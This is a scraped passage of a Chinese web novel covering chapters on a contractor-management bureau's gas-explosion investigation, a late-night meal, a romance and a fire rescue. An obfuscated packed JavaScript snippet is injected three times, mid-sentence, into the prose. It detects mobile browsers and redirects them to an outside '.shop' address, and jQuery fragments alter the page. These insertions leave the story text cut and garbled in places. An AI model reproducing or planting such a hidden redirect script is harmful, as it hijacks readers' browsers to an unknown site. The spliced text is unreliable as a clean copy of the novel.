“我们会让新宫桑跟随在您的身边,时刻保护您。”局长招了招手让新宫回来。 新宫皱了皱眉头,但没说什么,还是乖乖走了过去。 “就这个小丫头可以做什么?”高桥嗤笑一声,提出要求, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人见到此情此景,差点笑出来。只是现场严肃,所以才忍住笑意,有人甚至为此掩住了口。 直到副局忍不住笑了出来,众人才释放,跟着笑了起来。 相越也笑了出来,他自然看向今长谷,只有她没有笑容,连地井都有。 他愣了一下,维持不住脸上的笑容。 他忽然想起,刚才她的手被门夹住时,也是这副表情。 不痛,也不笑。 她到底在想什么? 但他没问。 一方面这不符合现在的气氛。另一方面,问了,她大概也不会说。 这时高桥又转过身,众人又停下笑。高桥呆愣了几秒才转回去,众人便又笑了起来,相越才又随着气氛笑了出来。空气间充满了欢乐的气息。 这个过程循环了两次,高桥才气冲冲地大力跺着脚离开了。 “他肯定恨透我们了吧,哈哈哈……”相越边笑边说道。 “没事,他动不了我们。更何况,他回去不是说要敲打敲打员工吗?谁知道敲打敲打着,会不会刺激到那个犯人呢?”局长翘着二郎腿,神情自若地笑着吐出了不得了的话语。 “局长,这是不是诱导?”相越面露犹豫之色,但眼神却是得逞了的。新宫看上去虽然不太聪明的样子,但这次是名为保护实则监视的任务,不太需要智商,应该不会出事。 “你在说什么呢?我只是在保护市民。为了保护市民,把真相告诉他而已。而且,今长谷你们明天应该会再去突击皐月会社吧?”局长耸了耸肩,嘱咐今长谷别忘了另外一边的监视工作。 今长谷冷静地点了点头:“当然。” “那就行。好了,诸位,下班了。辛苦各位了,明天再见。” 局长一宣布,几人就立马跑走了,只留下他和副局。副局则是在飞快收拾桌子,收拾完也跟着走了。 局长走出办公室,看到并肩离开的今长谷和相越,心中了然,愤愤不平道:“不知不觉间,局里变得这么闪了。哎,我这个孤独老人,不过幸好这不还有副局吗?” 正在离开的副局突然被局长提起,她侧过身反问:“谁是孤独老人?你吗?” 随后就一阵风似的走了,什么也没留下。 “……” 这下子只剩下局长一个,他收起了笑容。 “这也是没办法的吗?”对着空气喃喃自语道。 7. 坦白 几人从皐月会社拿到资料后,直朝办公室奔去。除了新宫大小姐——因为她要回家监督维护人员维修,所以她直接叫地井过来接她。 回到契约者管理科办公室后,正副局都已醒来。经过休息,他们精力十足,因此一看到两人,就立马兴致勃勃地走过来问道:“欢迎回来,调查得怎么样?” “我们回来了,很有可能是契约者所为。”今长谷点了点头,回答道。 “好的,那这些案件就正式开始调查吧。”局长宣布道。随后,又打了个呵欠,走进办公室摸鱼,只留下副局。 几人眼睁睁看着局长又走回去,纷纷啧了一声。但无奈他是上司,只能乖乖坐下。 众人打开资料,扫了几眼,几个大字立马映入眼帘。 主人:高桥匠平 命令:成为皐月会社的员工 瞬间,他们就把自己对上司的不满,投射到无良资本家的剥削上。 心直口快的副局更是直接开骂:“这什么黑心老板。” 两人点了点头,表示同意,手上的速度加快,进行总结。 换句话来说,除非老板或者自己离开世界,不然就要一辈子作为他的员工生活。 别的黑心公司,员工还有离职的机会,但这个公司把机会都剥夺了。 难以想象员工平时都受到怎样的压榨。 但问题是,员工在缔结契约前应该都明白这个问题。再加上成为契约者需要付出沉重的代价。 那为什么还要做出这个选择?契约签订时双方都有拒绝的机会,难道获得能力真的有那么大的诱惑力? 几人的眼睛里都写着这个问题,怎么都想不通原因。 能解释的,就只有他们受到了来自对方的威胁。 只是…… 他们的目的是寻找煤气爆炸的实行犯,而不是解决他们生活的烦恼。也许这与契约者管理科有关,但并不是首要之急,也无法提供太大的帮助。 几人想了一下,还是决定先找到犯人,再慢慢帮他们解决黑心公司的问题。 他们又把视线放回能力上——到底谁的能力最适合破坏管道?幸好,契约者管理科有着所有契约者的资料,只要把全部都翻上一遍,再慢慢排除就可以了。 只有相越还在犹豫。这些不关他的事,完全可以不理,但心里就是有一根刺梗在那里。 他摇摇头,试图把这些念头从脑袋里甩出去,但不能。 唉,看来是那时候岩田浩的举止太过可疑,让他的好奇心作祟。相越如此解释,便继续思考。 他很擅长同时做两件事。 如果对方真的是皐月会社的员工,对老板怀有怨恨,且是为了杀害老板才犯下这些案件的话,也说不通。因为目前没有出现受害者,爆炸最多也只是造成房屋建筑的破坏。 也有可能对方是为了破坏公司的名誉?也说不通。因为没有受害者,未能引起大众的巨大恐慌,顶多只是一点点的不信任——“有这件事啊,要注意一下煤气的使用”,然后喊来一些技术人员到处检查,仅此而已。 但就算如此,皐月会社的老板——也就是高桥匠平——始终非常重要,需要知道他是一个怎样的人。 相越把资料检查好,便继续偷偷注视直酱。 只见对方也早就完成了作业,在时间表上写下明天拜访高桥匠平的计划。 相越悄悄地笑了,继续偷窥。 大概过了一会儿,新宫大小姐也回到局里。她听到员工的待遇也气得不行,而后跑到外面和地井打了个电话。打完就回来协助众人调查。 新宫回来的时候,平时众人早就下班了,所以模样都非常疲惫。 忽然,敲门声响起。相越二话不说跑去开门。门后面的人是地井学——大小姐的执事。他拿着几大袋物品进来,放在桌上,把它们打开,里面是一些食物。他说道:“各位都辛苦了,这是一些慰劳品,请慢慢享用。” 地井一走开,几人就像饿疯了似的,拼命争抢起来。香味甚至吸引了在办公室里摸鱼的局长,使其也跑出来加入争抢之中。 而地井则又拿出一个袋子,递给正忙着与其他人争抢食物的新宫,单独向她说道:“这是小姐的洗漱物品。” 新宫大小姐给了地井一个眼神,点点头。随后继续集中在食物上,留意别人的破绽,一有空隙就伸出筷子,和其他人斗速。 地井也没在意,仿佛已经被这样的态度对待过千百次,轻轻点了点头,把袋子放在新宫背后。 相越留意到这一幕,心道:看来新宫这是打算在这儿过夜了。 抢到大量蔬菜的今长谷也留意到了,边把菜递给不愿意吃菜的相越,边吐槽新宫:“你不是害怕爆炸吗?” 此时,新宫趁着相越苦着脸吃下蔬菜的那一刹那,抢到了一片肉,噘着嘴说:“如果这里爆炸的话,死的又不只是本小姐一个,还有局长呀。” “局长?”相越本来还在心里哭着——直酱难道忘了他不爱吃菜吗?他一口吞下蔬菜,把自己从这样的思绪中强硬地拉出来,疑惑地问。 “我平时都是住在局里。”局长从副局手上抢下一片肉,在众人面前晃了晃。炫耀的同时,顺带回答了相越的问题。 “是的,这个家伙非常抠门。每天都蹭局里食堂的饭,洗漱也是,甚至连房租都省了。”副局被局长无耻的行为气红了脸,有损他的机会,当然使劲地损了。 “哈?我只知道他住在局里,没想到竟然是这样。这真的是人过的生活吗?”有钱人新宫并不能理解这样的生活,感叹道。 “其实我一直都想问,局长该不会工资全进口袋,没有其他花费了吧?”不只是有钱人不懂,普通的打工人今长谷也不懂。她把无人问津的青菜一股脑塞进嘴里,发出疑问。 “怎么可能?”局长又从副局手上夹走一块肉,气疯了副局长。 “那比如呢?”今长谷又问。一时间,其他几人也好奇地看向局长。 来自数人的注视,意外地有压力。平时总是笑眯眯的眯眯眼局长,也不禁流了一滴冷汗,考虑了半刻才缓缓地回答:“比如……买衣服?” “那其他的呢?”得到如此敷衍的回答,今长谷当然没有满足,她继续追问。 局长的冷汗流得更厉害了,一时之间随便糊弄说:“给朋友买礼物?” 对此,副局只是真诚地问:“局长有朋友吗?” “有啊,有一个大学时期的朋友。”局长笑着回答,但笑意却不达眼底,莫名有点心虚。 相越留意到他的眼神,有些疑惑,但还是没有开口——毕竟和自己无关。 这一切没被任何人留意到。副局继续回怼:“大学啊,那应该已经七年了吧。我好像没见过。” 接着又看向众人问:“你们见过吗?” 相越还沉浸在思绪中,听到“七年”这个对自己和直酱也很有因缘的词,才反应过来。不过他才工作四天,当然不知道了。 但其他几人相互对视,便纷纷摇摇头表示:“没有。” “工作伙伴没见过私人生活的友人,也很正常吧。”局长反问回去。 “但局长一直都住在局里……”相越回过神来,加入众人欺负局长的行列。 “这……你们碰巧没见到吧。”局长抢到一块肉,但手却颤颤巍巍的。 眼看局长被精神攻击,快要撑不住了。副局趁机笑眯眯地拿走局长手上的肉,慢慢地张大嘴,放进嘴里,整个过程仿佛开了0.5倍速。吃完后,她以优雅的口吻说:“啊啦,局长不用狡辩了,我们都懂得。” 随后,仰天长笑:“哈哈哈,你这家伙活该呀……” 这一系列动作实在是过于行云流水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496102|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让在一旁看着的相越又愣住了,不禁感叹道:“副局长真可怕。” 趁着相越愣住的时候,新宫从他手中抢过最后一片肉,学着副局仰天长笑:“哈哈哈……” 相越眼睁睁看着肉进入新宫的口中,自己却无能为力,不禁“咕”了一声。他转过头看向盘子——早就空空如也。 “蛤?” 这群人干饭的速度也太快了吧?这么快就吃完了? 相越无奈地叹了口气,低下头注视自己的碗。不知何时,碗里多了几片青菜、一双筷子和一只手。 筷子和手很快就收了回去。他沿着筷子向上望去——是今长谷。今长谷笑着说:“新人多吃点菜吧,健康。” “……” 没办法,哪怕这是毒药也只能咽下去了——这可是今长谷夹给自己的。 相越一片片塞进嘴里。很快,到了底部。隐约能看到一丝红色,但相越不以为意,只当是酱料。但越挖越深,几片肉便清晰可见。 相越彻底愣住了。他又侧过头看向身边——今长谷静静地看着他,用眼神催促他快吃。 相越一口吞下,被哽住了。 好吧,看来这真的是毒药。 不然的话,为什么完全没有感觉到酱料的咸味和肉的鲜美? 只有心跳的声音在嗡嗡作响。 这种感觉一直维持到下班还没结束,他一直傻傻地笑着。 不管傻笑的相越,几人又回到正题。 吃夜宵前,几人已经读过所有资料,但可能性太多,实在是无法一一排除。只能又回到最重要的证人——皐月会社的社长高桥匠平身上。 “直接去公司拜访老板,不就可以了吗?”局长刚才一直待在办公室里浑水摸鱼,自然不知道几人办案的过程。副局长一把敲了他的头,和他解释了一下,他才知道原来老板不知所踪了。 于是几人看向新宫大小姐——在场和老板有往来的,只有她了。 “喂,怎么都看我啊?我和他不熟,问学呀。”新宫连忙否认,转过头去看自己的执事。 “我也不甚了解皐月会社的董事长。或许可以直接去拜访他?”地井学沉思片刻,摇了摇头。 “……这样啊。可是,我们不知道他在哪儿呀?”新宫反问。 如果相越没傻笑的话,或许会对眼前这个会迷之沉默、没有怼人的大小姐感到疑惑。但他还在一旁傻笑着。 几人早已见惯不怪,没有人阻止他俩,只想让他们快点弄完,得到结果。于是两人的对话持续下去。 “我知道他们家的住址,可以直接去拜访。”地井点了点头。 闻言,新宫扑到地井身前,摇晃他消瘦的躯体:“你怎么不早说呀!” 地井闭上了眼,任凭大小姐折腾。身体消瘦虚弱的他看上去快要晕了,但还是面不改色、嘴硬道:“大小姐你没问我呀。你只说我们今天要调查皐月会社,他们公司真是太黑心了,可能要加班,快拿夜宵过来。” 大小姐气鼓鼓的,摇晃得更厉害了:“你是执事,主人每走一步,你就要走三步。难道你不知道我的心思吗?” 地井已经被晃得眼冒金星,但嘴还是一样的硬:“我当然不知道大小姐你的心思。我一个执事怎么可能知道呢?不过我还是姑且调查了一下皐月会社。这些资料需要吗?” 听到这话,大小姐才停下了动作,让执事去拿资料。地井扶起挂在鼻梁上快要掉下来的眼镜,摇摇晃晃地走到他拿过来的大袋小袋中,取出手提电脑,敲击键盘。 “我把资料传到今长谷电脑里了。我们走吧。” 收到结束的信号,旁观的几人暗叹——这惯常的戏码总算结束了。无视还在发呆的某人,今长谷径直坐在他的椅子上,打开他未曾打开过的办公电脑,从桌子的抽屉里取出一张纸,便点了点头,迅速跟上众人。 8. 逃避 婆婆上菜时,见到的便是两人紧紧贴在一起的场景,她不禁露出了姨母笑。 她走到两人面前,调侃道:“开饭了,不要再抱了。今长谷桑,你还说是同事。” 这时今长谷已经停止哭泣,只是眼睛还红肿着,脸蛋贴在相越平而有力的胸膛上,感受着他的呼吸和强劲的心跳。 被婆婆一调侃,并看到新鲜的饭菜送到两人面前,才猛地抬起头,恋恋不舍地离开。假装平静,但却掩饰不住脸上的红润,辩解道:“其实是青梅竹马。” “青梅呀,知根知底,好浪漫。那老太婆我就不打扰你们小两口了。”婆婆的姨母笑笑得更欢了,她放下食物就快步离开了。 整个餐厅只剩下两人,刚才今长谷还只是眼睛红肿,脸色红润。被婆婆这一调侃,这下子整个脸都红透了:“小……小两口?我们不是!” “现在确实还不是,对吧,直酱。”相越打趣道。 “我不知道呀!比起这个,快吃饭吧,饭都要凉了。”今长谷红着脸慌慌忙忙地否定,转过头把碗推到两人面前。 再打趣下去,今长谷恐怕又要逃跑了。相越还想和今长谷再待久一点,直到永远。距离这个目标成功还有很远,不过至少两人关系破冰了,这不是很好吗? 想到这里,相越才停下来注视眼前这碗被盛得满满的一大碗面。只是谁能告诉他,这碗红加绿的物体是什么?他能看得出每一样材料是什么,但为什么会搭配在一起? “直酱,这是什么?”相越一脸疑惑地问早就说出“我要开动了!”,小口小口,却吃得飞快的今长谷。 “生鸡蛋芝麻酱苦瓜柠檬拌麻辣鸭血番茄手撕鸡生三文鱼酱油蔬菜拌面。”今长谷嚼了数下,吞下口中的食物才回答对方。 “我知道,但……”相越虽说是从乡下来的,但他绝不是什么都不懂。据他所知,鸭血是一种来自于中原地区的食物,广受该地人民欢迎。其他就更不用说了,是这个小岛上的人民经常食用的食物。每一种都是美味的食材,单独吃就很好,完全不知道混在一起的原因。但看到今长谷吃得津津有味的样子,他随便用筷子拿起一小口塞进去。 “……” 意外地还可以接受?就是一口进去包罗万有,能尝到许多种风味,很有冲击性? 奇怪?以前直酱的口味是这样的吗?喜欢刺激的?相越摇了摇头,决定不再深究。七年了,口味变化也是很正常的,大部分食材她过去也很喜欢吃。 而且能够看到她的笑容,这才是最重要的不是吗?就是为了这个,他才从乡下考进今长谷读过的大学,进入一个部门的不是吗?又透过今长谷的奶奶打探消息,住进今长谷对面的房子的不是吗? 对面的人不断往嘴里塞食物,不经意间露出的笑意,就是相越最大的动力。看着眼前这幅光景,哪怕碗中盛的是再不堪入目的东西,他都能吃得下。他把碗中的东西搅拌过后,无视嘴中难以形容的味觉,以最好的演技露出吃到美味的笑容,嘴中是机器般的咀嚼、吞咽。如此不断地循环,并尽力加快进食的速度,争取不落下风。 吃到相越快要失去味觉,整个人快要麻掉的时候,婆婆从厨房出来,瞥了一眼两人的碗,然后落到相越的碗,称赞道:“竟然吃完了啊,做得好,相越桑。” 相越麻痹的大脑,这才清醒过来。他一下子就明白,刚才婆婆在询问自己时露出的得逞笑意,原来就是为了考验自己,还有捉弄一下自己,看看他能不能撑过这一大碗的黑暗料理。 显然他成功了。 对此他只是露出一个轻笑:“我吃饱了,谢谢你的招待,婆婆。很好吃。” 面前的男子并没有被捉弄的不快,只是轻轻地笑了,还向对方道谢,准备一笔带过这件事。 婆婆的笑意加重了一分,接过这份好意:“那就好,那务必要再来光临哦,两位。” “一定!”一旁的今长谷神色如常,完全没有察觉到两人的交锋,只是露出了笑容答应对方。 看到眼前人的笑容,相越明白以后还会来很多次的,希望自己的胃撑得住吧。 他硬是扯开一个笑容,也应道:“一定!” 两人给过刚刚好的金额后就肩并肩离开了,在微弱灯光下两个背影渐渐拖长,直至消失不见。 婆婆站在门前,一直守望着有些距离感的两人,直到看不清才回到里面。心里祈祷着希望在她离开人世之前,同样的场景下看到的并不是两个背影,而是一个背影。 相越和今长谷道别后,一回到家中,随便洗漱过便躺在床上。 相越想着一墙之隔的直酱,她的生活极度规律,肯定早就和他一样躺在床上准备入睡了吧。 但是,他根本就没办法放松自己进入睡眠,只要闭上眼睛就会浮现出今天发生过的一幕幕,忍不住发出怪笑兴奋起来。 想到直酱终于向自己敞开心门,虽然都是些入职时就知道的消息。但在直酱一字一句地告诉自己时,他的心就总会重重地跳一下。强忍着高兴,为了保持气氛,只得摆出严肃的模样,真的好滑稽,就像小丑。 只是看到直酱苦着的脸,就没忍住抱住了她那冷冰冰却柔软的娇小身体。在怀中哭出来的那刹那,他的心都快要停下来了。 相越连忙用手轻抚今长谷,如无数次想象的那样。 七年前没做到的事情,现在的他能做到了。 不过这些表现都肯定是因为直酱接受了自己。不然他肯定只敢把手悬在半空中,不敢触碰,生怕迎来直酱的拒绝。 一想到这里,相越就感觉这些天来的孤独一扫而光,重新被她所接纳,为能再次站在她的身旁而止不住地高兴。接下来肯定很快就能达成目标了吧,他暗暗地想着。 但同时相越也忍不住担忧,幸好直酱现在诉说的这些真相自己早已知道,才能如此波澜不惊地接受,并说出提前准备好的台词。 他知道直酱还没把全部的事情说出来,恐怕是说不出来,或者是其他的原因。 也有些事他根本就不知道。 然而相越拥有的情报实在太少,根本猜不出来,完全做不了心理准备。下次要是再来更重量级的消息,他可能真的绷不住了。 另外,相越又为自己感到不争气,难道在直酱心里自己是如此的靠不住,什么事都不能告诉自己? 尽管明白七年的分离,就是会有这样的隔阂,但他还是忍不住想回到七年前,和直酱无话不谈的时候。 “……” 为自己懦弱的想法感到愤怒,相越猛地起身,深呼吸一口气,甩开脑中无谓的想法,只留下一个想法:“毕竟现在和直酱在一起,那不就够了吗?其他的根本无所谓。” 他再次闭上眼睛,做好要接受直酱的一切、不能慌张的准备。并想着还有很多时间,期待着之后的时间能慢慢地与直酱缩短距离,就放松下来,安稳地准备进入梦乡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496103|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >另一边,今长谷一回家,关上门就冲进卫生间,双手撑在马桶上呕吐了起来。不是因为什么,而是为自己无耻的行为感到恶心。 把刚才的饭菜连同胃液全都吐出来,直到再也吐不出来了,也还是向着前方干呕着。 如果相越看到今长谷这副模样,肯定又气得冲过来抱住她,阻止她的自残行为。 但一墙之隔的距离就是如此的遥远,可以让人完全不知道对门在发生什么。夜晚如此的安静,令人以为对方早就安然睡着了,其实在进行着自虐般的行为。 良久之后,今长谷吐得整个身子都失去了力气,口腔失去了知觉,喉咙热辣辣的。哪怕是想吞咽口水吸收水分,让喉咙稍微好受一点,都因为疼痛的刺激而做不到。她能做到的,只有瘫坐在地上,久久不能回神,就如同她在面对现实的时候。 也只有在这个失神的时候,她才能摆脱掉内心的负面情绪,不去想自己因一时冲动,没忍住便使用能力制造出刀子,砍掉了大嶋先生的手。不去想自己浪费了婆婆精心制作的料理。不去想自己故意地忽视伤到了新人的心。所以尽管这个行为非常伤身体,毫无意义,她还是会去做,既自私又不负责任,只懂得逃避,而不去做现实里她应做的事情。 稍微心安后,身体才逐渐恢复力气。 今长谷扶着洗手盆撑起身体,看着镜中的自己,喃喃自语:“我在干什么呀?” 又产生了一头撞进去的冲动。她拧开水龙头,任由冷水浸泡脸部。在被水浸泡时,长时间不能呼吸的她,因为求生的本能,会张开嘴,吸进冷水,还有空气。 众所周知,食道和气管是相连的,冷水冷却了喉咙中那种无形的热辣辣感觉,她才敢进行吞咽。一口吞下冷水时,又会因气管对氧气的渴求,吸进冷水,生理反应便会把冷水咳出。受到咳嗽的冲击,她停下水龙头的流水,从水中抬起头,大口大口呼吸着新鲜的空气。 又过了一段时间,今长谷清理过呕吐物,便拖着疲弱的身子进入沐浴间清理身体上的痕迹。她随便撩起自己的前发,任由水珠掉到自己的头上,冰凉的水珠沁人心脾。与直接浸泡那种淹没自己,被人引诱沉到底部的感觉有所不同,滴落的水珠温柔地抚慰自己,再迅速离开,不会有任何负担,令人平静。 尽管浪费了许多时间在无谓的事情上,但沐浴的时间是那么的愉快,心情变得平静,想一直这样下去,疼痛对她来说正是最好的兴奋剂。 这个想法一直持续,直到手机铃声忽然响起。 在这个深夜时间,没有朋友,和家人关系不好的她,会向自己打来电话的也就只有局内的同事。而且别看他们工作的时候有说有笑的,实则上没有一个人亲密到能被称为朋友。毕竟他们可是从来都不会谈私事的啊。 这能算是朋友吗?顶多是关系好的同事吧。 今长谷对此嗤笑一下,心中暗道恐怕根本连关系好的同事也算不上吧。 也就只有局长,是有着共同目标的合作对象。 但会在深夜突然打电话过来,恐怕事情紧急吧。 家里的门窗常年关闭密不透风,且窗户都拉上了帘子,一丝光都透不进来。所以她抛下所有思绪,直接赤裸着身,踩出浴室,拖着一条水迹,接起了电话。 一接通电话,便是副局那暴躁的声音,和汽车轰鸣的声音,显然对方正边打电话,边驾驶汽车赶往事件发生现场:“快过来高桥先生的大宅,爆炸了!” 9. 煤气爆炸案(五) “快过来高桥先生的大宅,爆炸了!” 与之前表现得不一样,其实今长谷很喜欢契约者管理者的工作,像她这种人也能透过工作帮助到别人,很有意义。最重要的是,现在她也很需要工作来冷静一下头脑。因此面对副局的突然通知,她心里毫无怨言,只是平淡地应了一句“好”,就立马穿上制服,冲出门。 刚出门,便见到刚从睡梦中醒来、睡眼惺忪的相越,两人随便叫了一辆计程车,便全速到达高桥家宅。 半天未到,这座豪华的大宅便被大火破坏得全无之前的宏伟,烟雾冲天,不断从里边传来人们的尖叫和恐慌声。消防员有条不紊地安排人员进去营救受害者。 理所当然,今长谷打算直接冲进去。不过在这之前,在这个时间还能进入高桥宅的人选,她稍微想想就能想到,对方地位不低或是工作必要与高桥有比较亲近的接触。她和消防队表示要重点搜索这几个人,对方也表示会尽力而为。 和消防员沟通后,今长谷就立马动身冲进去,但相越伸手一拉就阻止了她的动作:“前辈,我们进去会扰乱消防员们的工作,而且会有生命危险的。” 如果是平时的今长谷,绝对不会因力量的悬殊被拉回来。只是刚自虐完,身心都还未恢复过来。她瞪了相越一眼,甩开他的手,头也不回地冲了进去,只是临走之前留下了一句:“你放心,我可以保证自己的安全,你就在这里等着我吧。” 那个背影就和七年前的一样,一样的瘦弱又娇小。那次她闯了进去,平安地回来了。 相隔了七年才再见面。 那这次呢?还能平安回来吗?虽然她说可以保证自己的安全,但相越知道紧急时刻,她绝对会选择牺牲自己。 那时候他什么都没做,只是等待。 可能是因为这样吧,才会迎来了七年都没见面的惩罚。相越不愿意继续思考,踏出脚步,想要和她一起冲进去。 这时有人拉住了他,是局长。他看着眼前燃烧的大宅,神情复杂:“我们这些无能力者,就在这里等着他们吧……” 停顿一瞬,才又加上一句调侃:“你放心,今长谷最擅长的就是逃跑了,不是吗?” 相越这才回过头,看到站在一旁的副局正召唤出分身冲进去里面探查情况和救人,自己连扯开局长的手都做不到。他无力地垂下了头:“那我们难道什么都做不了吗?” 局长没有看向相越,松开了手,看向逐渐被救出来的人们。他们无一例外没有死里逃生的喜悦,但更多的是慌乱和心有余悸,生怕灾难再次重来。 就算能够从灾难中获救,身体的伤能够愈合,也许总有一天随着时间消失不见。那心灵上的呢?也许也能,但只有当事人才能知道伤势。 “去做好他们的支援,这就是我们要做的。”局长走到一个不断嚎啕大哭的女孩子前。女孩身上穿着仆人用的服装,应该是哪个仆人的孩子吧。他蹲下身子,摸了摸她的头,“怎么了,小朋友?” “呜……呜……呜……叔叔……” 无视“叔叔”二字,局长承认他是不修边幅了点。但快三十岁的男人,还是青年好吗?他扬起嘴角继续抚摸孩子的头,等待她继续述说自己的感受。 “贝贝……它还在里面……没出来……” “贝贝是你的朋友吗?可以告诉我她是什么样子的吗?” 闻言,孩子点了点头:“嗯……它是我最好的朋友,每天都抱着我睡觉……” 听到这话,局长立马明白“贝贝”指的是她的玩偶。孩子因为还在惊慌状态未能清晰表达,但他还是立马向副局打了个眼色,对方也点了点头。 尽管不认为自己已经到要被喊大叔的年龄,但面对一个正在哭泣的小孩子,局长不想因为一时嘴快反驳了她,令她更加悲伤。局长勉强承认一次,他继续说道:“你放心,叔叔我是契约者管理科的局长,很厉害的,一定会帮你找到贝贝。” “真的吗?”孩子抬头看了一眼略显瘦弱的局长,一脸不相信,继续哭着。 局长心道:我可是整个契约者管理科最强的人,当然是在某些条件下。只不过再怎么说,也肯定不弱,外表看不出来真是非常抱歉。 他只能用看起来很有气势、摘掉眼罩正在使用能力的副局作为例子:“真的,你看我旁边的大姐姐……” 他转过头引导孩子看向副局。副局站在车旁边,闭着眼不断召唤出分身,分身一出现,就冲进火灾现场。 “好多……大姐姐……”被眼前的奇景所震撼,孩子忽地停止了哭泣。 “那是大姐姐的能力分身哦,不只是可以变出不同的大姐姐,还可以变出其他人哦。”局长又点头示意副局召唤一个分身,分身与局长相貌完全相同。 “好厉害!”孩子张大了嘴巴,伸出了手触碰局长的分身,是一个实体。 “那也可以变出我的分身吗?” “当然可以,不过现在大姐姐正忙着救人,等救到全部人后就变给你看好吗?” “嗯!”孩子猛地点了点头,不过终究还是个孩子,能看得出有一点失落。 这时又一个副局的分身从里面跑出来,她抱着一个青蛙玩偶,走过来,蹲下身:“这是贝贝吗?” 孩子一看到青蛙玩偶,就绽开了笑容:“嗯,是贝贝!” 分身笑着递给孩子:“给你。” 孩子开心地笑着,接过贝贝:“谢谢大姐姐的分身!” 待孩子完全没有阴霾之色,分身才又跑回去里面救人。 局长重新站起来,对着一直观察几人、还在呆愣着的相越,拍了拍肩,严厉道:“这就是我们现在要做的,还不快去!” 忽地被拍肩,相越暗想:你这不都是靠副局的能力才能安慰那个孩子的吗?这也好向自己炫耀?而且还没完全成功呢!对孩子允诺并不能实现的承诺,可是会造成孩子的心理阴影,让他长大后再也无法信任他人的。 但最后相越还是什么也没能说出口,他动了动嘴,思绪万千。走到一个身边没有任何人、正在大哭着的男孩子面前,他效仿局长蹲下身,问道:“怎么了,小朋友?” “我……才不是……小朋友……我已经十一岁了……”男孩一边哭着一边否认道,只是鼻涕横流的样子怎么看都是小朋友。相越如此想着,伸出手想要像局长那样抚摸他的头,安慰孩子。 但没想到,他直接避开了,惊呼:“不要碰我!” 看来这个孩子是相当的难搞,是一个刺头,和刚才乖巧的女孩子是两个类别。这下子相越也头疼起来了,实际上他不是很擅长面对孩子。他们任性妄为,行事没有逻辑,只凭情绪做事。 他现在还呆在这里,只是因为想找到自己能做的事以显得没那么难堪,还有就是…… 男孩瞪大双眼,警惕地看向自己。这个眼神让相越想起了一个人,他最重要的人,也就是直酱。对着不认识的人会冷冰冰的,甚至带有攻击性。但他知道,这都是为了保护自己。 和初见面的两人有点相似。 这样想着,相越的心就软了下来,对这份工作也没那么抗拒,甚至笑了起来。 他回忆起当初与直酱熟起来,是因为什么呢?是因为自己真挚的心意吧。就像这个孩子那样,只要让他知道自己没有恶意,坚持不懈就行。绝对不能有其他的心情,他们都是很敏感的。就像刚刚那样不耐烦的心情是绝对不能有的,一不小心就会被他们划出界。 想通了,相越就开始了行动。他拿开手,拉开了距离。男孩一愣,似是没想到他会如此轻易地放弃,但也不禁肯定那些不知何时曾想过的、自我厌恶的话语。这样想着,自我厌恶感又加深了几分。 当然相越绝不会让小男孩进一步自我厌恶下去了。趁着他还在厌恶自己时,相越收起亲近的态度,像一个官方人员,官方式地问道:“非常抱歉,刚才冒犯你了。我是相越和希,是契约者管理科的工作人员。可以告诉我你是谁吗?” 这样不远不近的态度,对他们来说是最合适的态度,但绝不是他们需要的,只是一时之策。正如相越所想,男孩收起尖刺,但还是保持警惕,以同样官方的态度回答道:“我是渡边达也。” “可以告诉我,你为什么哭吗?”相越以一个工作人员应有的友善态度问询道。 “才不告诉你!我也没哭!”被触及到雷点,男孩立即炸了毛,退后一步,却没有离开。 面对男孩拙劣的否认,相越也没动,继续维持工作人员应有的友善态度问道:“那请问我有什么可以帮你的?” “没有,快滚!”男孩继续炸毛,放出了对他来说最后的大招。 这招对于相越来说不痛不痒。被人拒绝什么的,试过太多次了,早已有了抗性,他并不会因为这点小事就退避。 相反,相越还透过最后的大招,看出这个男孩其实有着良好的教养。不愿意回答时只会口头威胁一些逞威风的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496104|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会对着自己拳打脚踢,也不会沉默不言,一定会回答自己。而且周围的人都有人陪伴着时,也不会大哭大闹,只会默默地在一旁掉眼泪,绝不给别人添麻烦。 和那个时候一模一样。 想得越多,相越就觉得这个小男孩更像直酱了。当然他知道这个小男孩不是直酱,只是产生了亲近感。 想到这点,相越撇下了官腔,坚定地说:“我不会滚。但如果你是需要一个人静静的话,我可以离开,但你现在不是吧。” “哈,你在说什么啊?”以往只要放出最后的大招,身边的人都会离开。可是眼前的人不但没有离开,还开始亲近自己。对此男孩大为不解,并在心底产生了一丝期待。 此时此刻的小男孩终于停止了哭泣。相越明白自己的行动有了效果,他继续乘胜追击:“你寂寞吗?” 